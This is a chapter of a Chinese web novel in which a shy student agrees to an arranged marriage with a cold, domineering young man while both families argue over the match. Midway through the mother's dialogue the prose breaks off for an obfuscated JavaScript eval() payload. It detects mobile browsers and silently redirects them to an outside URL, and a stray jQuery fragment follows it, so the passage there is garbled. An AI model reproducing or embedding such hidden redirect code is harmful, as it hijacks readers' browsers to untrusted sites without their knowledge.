狰狞的竞赛题横尸在教材上,和少年白细的手指格格不入。
顾熠阑面无表情地指了指臭名昭著、“残忍暴戾”的自己,反问道:“你问我?”
那向来平淡的语气中罕见地带了点难以置信。
苏泽岁很配合地左右看了看男人周围的空气,然后点了点头。
他没有朋友,不知道该怎么和人叙旧。
但根据上一世的经验,唯一跟他有些交集的人,就是竞赛组的几个人。
物理竞赛题就是一道桥梁,能跨越年龄差距,让几十岁的金牌教练和十几岁的竞赛生吵起来;能消除社交距离,让全然陌生的两个人争一下午,豁然开朗后,好哥们一样勾肩搭背去吃饭。
总之是个很好的社交工具就是了!
顾熠阑身形微倾,在书桌上投下一片阴影,随意扫了眼题,下意识地转了下被塞到手中的黑笔。
这明明是一个很习惯被人求问题目的姿态,但他口中却道:“谁告诉你我会这些的?”
可能是他的脸色过于冻人,苏泽岁把书又往后翻了几页,翻到了一页更简单的题目,然后继续看向他,观察着他的脸色。
如此反复了好几次。
少年还想再往后翻,顾熠阑终于开了口:“再往后要翻到参考书目和附录了。”
苏泽岁脖颈瞬间通红,手指揉着皱巴巴的页脚,闷着头不做声。
“非亲非故,就想让我当你家教?”顾熠阑道。
苏泽岁努力地读着这话背后的潜台词。
他想、他想……
应该是结了婚、有了名分之后,才能问的意思……吧!
于是他关上竞赛书,从他堪称百宝箱的小包里掏出一张小卡片,递了过去。
顾熠阑定睛一看。
卡片上写着一串数字。笔画圆润,规规整整,但很漂亮清秀,一点不小学鸡,就跟面前的少年很像。
苏泽岁抬手在耳边做了个电话的手势,道:“号码。”
“没必要。”顾熠阑说着就准备将手里的卡片还回去,“以后……”
他剩下的那句“以后别再联系了”没能吐出薄唇。
因为少年的手也停在了半空中,指尖还捏着一张空白的卡片和黑笔,听到他的话,手臂微微发抖,软唇抿了起来,眼眸里也升起一层雾气。眼眶红得……像下一秒就能落泪一样。
而苏铭宇已经等在外面了。
顾熠阑:“……”
顾熠阑心道麻烦,手中却接过纸笔:“我写什么?”
苏泽岁隔空指了指他手上那张写有一串数字的卡片。
顾熠阑福至心灵,勾笔写下自己的号码,犹豫一下,又把自己的名字也签了上去。
他的字写得行云流水,多处连笔,不仅不影响阅读,反而让笔触多了一丝隽永飘逸之感,属于学神特有的字迹。
写完,顾熠阑递了回去,冷着脸道:“以后无事勿扰。”
苏泽岁看着纸上遒劲的字迹,点头,已读乱回:“很好看。”
顾熠阑怔愣了一下,抬脚道:“走了。联姻的事,知道怎么说?”
苏泽岁继续点头。
但顾熠阑怀疑他不知道。
顾及苏铭宇的信息,今日过于收敛,导致恐吓效果大打折扣,少年似乎连怕都不怕他。
顾熠阑很清楚,自己骨子里是怎样的偏执、疯狂,对所有物的控制欲到了病态的地步,外界传闻毫不为过。没有人能忍受他,他也不愿改变自己一丝一毫。
这样的他,希望周围所有的人都畏惧他、远离他,或者厌恶他,而不仅仅是拒绝联姻这么简单。
顾熠阑眉头紧蹙,心情不佳。
于是,门外接人的苏铭宇就直接撞枪口上了:“搞什么?我在外面等十几分钟了。再不出来我真要报警了。”
这个时候,苏泽岁正小尾巴般跟在男人身后,低头往外走。
经顾熠阑提醒,他已经在想该怎么跟家里人说联姻的事了。他想说“好”,但哥哥似乎想让他说“不好”。
苏泽岁皱了皱小脸,很苦恼。
就在此时,顾熠阑突然止步,冷冷地看着苏铭宇,张口却是在对他说话:“不准跟他说话。”
苏铭宇傻了眼:“??”
大哥,你入戏太深了吧?公报私仇?还是真当你自己是占有欲狂魔了?
苏泽岁也先是一愣,然后亮着眼眸,疯狂点头。
然后,到了库里南上。
苏铭宇一边掉头,一边随口问道:“相亲相得怎么样?是你自己跟他拒绝,还是让哥哥或者爸妈替你跟他拒绝?”
苏泽岁从别墅前逐渐变小的身影上收回视线,转头看向哥哥,然后双手食指交叉,在唇前比了个“×”。
苏铭宇:“……”
毁灭吧,世界。
逃过了哥哥这一关,回家还要面对妈妈的问候——
苏母上上下下把他仔细检查了一遍,关切道:“岁岁怎么才回来?没事吧?”
苏泽岁点了点头。
“顾熠阑那儿吓不吓人?他有没有说过分的话欺负你?”
苏泽岁摇了摇头。
“哥哥有没有按时你去接你?你没久等吧?”
苏泽岁点了点头,又摇了摇头。
……
几次下来,苏母终于意识到了小儿子的不对劲,看向苏铭宇,不解地问道:“他怎么了?”
苏铭宇没好气地说:“被人ban了语音包了。”
苏母:“?”
虽然不清楚是怎么回事,但苏母还是不可控制地心疼了——
“岁岁在外面受苦了吧?顾熠阑他肯花心思接待你吗?都怪妈妈不好,不该让你去的。接下来的答复让妈妈帮你去说,好不好?别担心,妈妈做事有分寸,就告诉他们‘结缘无意,情缘未至,各自珍重’,体面又不失分寸地拒绝,让他离你远点,岁岁觉得行吗?”
苏泽岁摇摇头,点点头,然后顿了一下,又点点头,摇摇头。
苏母晕了。
苏铭宇看不下去了:“小白眼狼,胳膊肘往外拐。滚回自己房间刷题去。”
苏泽岁求之不得,背着包就跑开了。
他本来的打算是手写信,或者编辑短信,用这种方式表达弥补自己不善言辞的缺陷,告诉家人他要结婚。
但他高估了自己遣词造句的速度,也低估了苏母作为商业精英的效率。
这天下午,苏母就打电话给了对方家长。
她心疼于自家小孩吞吞吐吐、欲言又止的模样,一边觉得小儿子太过善良、太想让他们省心,一边又想尽快把这件事办了,让小儿子心里悬着的大石头能落地。
她拨通了电话。
“喂,是顾熠阑母亲吗?”
对方应了声,简单的寒暄过后,苏母步入正题——
“是这样的,今天两小孩的相亲不刚结束嘛。我们家岁岁一回来就话也不说、饭也不吃,我看他状态不好,就自作主张替他说两句了。”
——潜台词是,我家儿子被你家可怕的儿子吓懵了,我作为母亲来声讨两句。
“嗯,您说。”对面道。
“岁岁他一直挺期待这次相亲的,毕竟您家儿子也是年少有为、一表人才。可惜岁岁从小就被我惯坏了,面对这些意料之外的东西,他承受不了,我们做父母的也不想让他承担这些。”
——弦外之音是,你很好,但请放过我们。我们的小心脏接受不了那些变态的东西。
“嗯。”对面脾气很好地应下了。
“所以我想着啊,小时候无意结下的缘分,长大后,是否还能结成正果。有时候,这真是个问题。”
她话里话外的拒绝已经很明显了,她想顾母也听懂了,甚至料想对方会因这些阴阳怪气而大发雷霆,但没想到,对方给了她最大的体面。
顾母道:“两家都是朋友,不必说这些。您的担心不成问题,我会给顾熠阑说的。”
苏母弯了弯眉眼:“哎,那最好不过了,麻烦您了。”
……
彼时,顾熠阑和顾母正在他爷爷家里。
黄花梨木的家具上,汝窑茶具和象牙茶则摆放有序,茶香缭绕,雾气袅袅升腾。
老爷子身着一袭有山水纹样的暗金色绸缎长袍,将滚烫的山泉水注入砂壶中,茶香就瞬间在空气中弥散开来。
“胳膊上的伤好了吗?”老爷子洗着茶道。
顾熠阑顿了下,掀起眼皮,看向身旁站着的管家。
管家被他阴鸷的眼神看得一抖,急忙无声地摆手,打嘴型道:不是我说的。
“本就没事。”顾熠阑收回视线,恹恹地道。
“就算仗着年轻有资本,也还得注意。少吃辛辣,伤口不要碰水。”老爷子语气温和,声音低沉而有力量。
回忆起那印着小白兔大头照的绷带,顾熠阑随口道:“有防水绷带。”
顾老爷子放心地点了点头:“你早上去相亲了?对对方印象如何?”
“还行。”
老爷子微不可察地叹了口气。
他还记得当初那个雪白的小团子,眼睛黑溜溜的,说话软软糯糯的,稍微遇到些或高兴或难过的事,就要拉着他叽里咕噜地说上好长时间。
小团子成绩很好,最喜欢拿着满分试卷给他看,然后无声地站在原地,等待夸夸。他总是不吝表扬,把大孙子哄得笑呵呵的。
再后来,小团子被父母接走,褪去了稚嫩,长得高大挺拔,变得又冷又傲。周身总围绕着又淡又稳的乌云,让人觉得他的心情从来没有好过。
他的性子越来越偏执,话越来越少,不求赞许,也不在乎别人的眼光,总将任何想了解他的人排斥得远远的。
就像现在这样,无论自己怎么问,永远只能得到疏远、但挑不出错的回答。
老爷子还欲与许久未见的孙子说两句,接完电话的顾母就回来了。
“联姻的苏家母打来的电话。”顾母尊敬地对老爷子说。
“她怎么说?”
“她说儿子本就很欣赏顾熠阑,这次相亲回去后,更是思念得茶不思饭不想。”顾母笑道,“她家小儿子啊,一见钟情,又养的性子害羞扭捏,不肯打电话,他母亲看不下去,这才决定替他表达爱慕之情。”
老爷子听得笑了,笑声沉稳而雄浑。
顾母也跟着捂嘴笑起来,张开红唇,还想再说些什么。
“又在做白日梦?”顾熠阑打断了她,嗓音冷得淬了冰。
许是顾虑顾熠阑受伤,又或许是欣喜于即将到来的联姻,顾母也难得温和:“你别不信。苏家母电话快结束了,还在跟我诉忧,担心小时候就结下的缘分,长大了还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195335|150809||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不能续成正果。想来是迫不及待要联姻了。”
顾熠阑懒得说话,站起身就要走。
以苏泽岁差点碰到他就吓一跳的性子,以那天苏母在医院对他的“最高”评价,最后能得出这么个结果,不是苏家全疯了,就是这个世界疯了。
“站住。没大没小的,长辈还没说完话,就要走?”顾母皱眉道,“联姻的的事由不得你。”
顾母知道顾熠阑独来独往惯了,也没指望他真的听进去,只是向他表明自己坚决不动摇的态度。
但鬼使神差的,这回顾熠阑真的站住了脚步。
他没回头,俯身端起依旧滚烫的茶水,仰头一饮而尽。
那一瞬间,舌尖灼烧到麻木,口腔黏膜像在被慢刃一刀刀割着,尖锐的疼痛直冲神经。但顾熠阑却觉得,刺痛过后,是酸热的爽意。
他扯了扯唇角,漆黑的眼里却没有笑意,平静地问道:“……是么?”
男人身形笔挺,声音被开水烫到嘶哑,但语气淡淡,没什么起伏,像是在满不在乎地陈述事实。奈何周身炼狱修罗般的气场着实不像怀着好意,让顾母身形一顿,瞬间语塞。
气氛剑拔弩张,眼见顾母蹙着眉就要开口,顾老爷子急忙拦着,不再让她说话了。
“这样,听爷爷一次。再给他打个电话确认一下,行不?”
顾熠阑捏着口袋中被少年塞入的电话号码,锁眉片刻,才重新坐回原座,拨通电话,打开免提放在了桌面上。
这件事,无论如何都不可能、也不该出岔子。
“嘟嘟”两声,对面几乎是秒接,一声怯生生的“喂”传入了三人耳朵中。
顾熠阑心情很差,也不绕弯子,单刀直入道:“你想跟我结婚?”
他被开水烫伤的喉咙隐隐作痛,嗓音阴沉,还带着明显的不耐烦。只要是正常人,就会像避瘟神一样避着这样的他。
但他毫不在意,甚至还乐在其中。孤独、偏执、变态,才是他看似正常外表下的唯一宿命。
对面果然沉默了好一会儿,就在顾熠阑厌倦地想挂电话时,手机终于传来了声音——
“……好。”对方乖软的声音带着一丝颤意,似是怕他们没听到,又小声重复了一下:“我愿意。”
“……”
他一说完,这边的空气就凝固了。
顾老爷子微微摇了摇头,笑得一脸慈祥;顾母朝儿子挑了下眉梢,满脸都是“我就说吧”。
顾熠阑置若罔闻,他握着茶杯的手的骨节泛了白,连指尖被烫得发红发肿都迟迟没有卸力松手,不知道在想些什么。
***
接到这个电话前,苏泽岁在忐忑不安着。
他想联姻,但他觉得对方应该不喜欢他。他胆小、懦弱,不会聊天,也没有什么长处,很少有人会喜欢他。
苏泽岁朝黑了屏的手机挤出了个灿烂的笑,露出两颗可爱的小虎牙。
……他当时应该再多笑一笑的,这样看上去似乎讨喜一点。
苏泽岁一直懊恼着,直到接到了顾熠阑的电话……
苏泽岁心跳如鼓噪,不知道妈妈是怎么跟对方说的。
但妈妈应该花了很多心思和口舌,不然对方不会直接打电话过来,问他要不要结婚。
苏泽岁很感动。
母子连心,妈妈居然秒懂他的心思,还为他付出了这么多精力去说服对方。
他缩在卧房的角落里,听见客厅里的妈妈接了几个电话,又打了好几个电话。
然后,哥哥就告诉他,明天他们要和顾熠阑一家一起吃顿午饭。
……应该是传说中的家长见面。
苏泽岁心想。
翌日,苏父也赶回来了,他们一大家子集体出动,在某高档餐厅的包间里见到了顾熠阑,还有他的家人。
苏泽岁穿戴整齐,这是他前所未有地主动要参加社交场合。
顾熠阑眉眼间和他母亲有几分相似,所以苏泽岁没有很怕顾母。
他低着头,小口小口吃东西,却悄咪咪竖着耳朵,在偷听。
“他们性格不合适,甚至说的上是大相径庭。他们现在还只是互看不顺眼,结婚后,说不准会起更大的争执,所以吧……”苏铭宇道。
他还没说完,就被身旁的弟弟拉了下衣角。
弟弟鼓着脸看着他,然后气鼓鼓地摇了摇头,表达自己强烈的不赞同。并且不让他往下继续说了。
与此同时,听到苏铭宇这话,顾父和顾家老爷子也在看顾熠阑。
老爷子慈祥地笑道:“之前不是说你觉得还行吗?”
顾熠阑默然,轻抿了口冰凉的冷水,压下口腔中依旧隐隐作痛的感觉,没做任何回应。
几人七嘴八舌的,气氛逐渐变得紧张。
就在此时,顾母出来和稀泥了:“这样吧,要不咱各退一步。先让小孩子们在一起住一段时间,看看能不能培养出什么感情。”
“不行。”
“不可能。”
两道异口同声的反对声斩钉截铁、不容商量地打断的她的话,属于强烈反对派。
只是话音落下,全场都凝固住了。因为默契的拒绝声一道来于苏父苏母,而另一道,来自顾熠阑。
顾熠阑:“……”
苏父苏母:“…………”
到底谁和谁是一边的?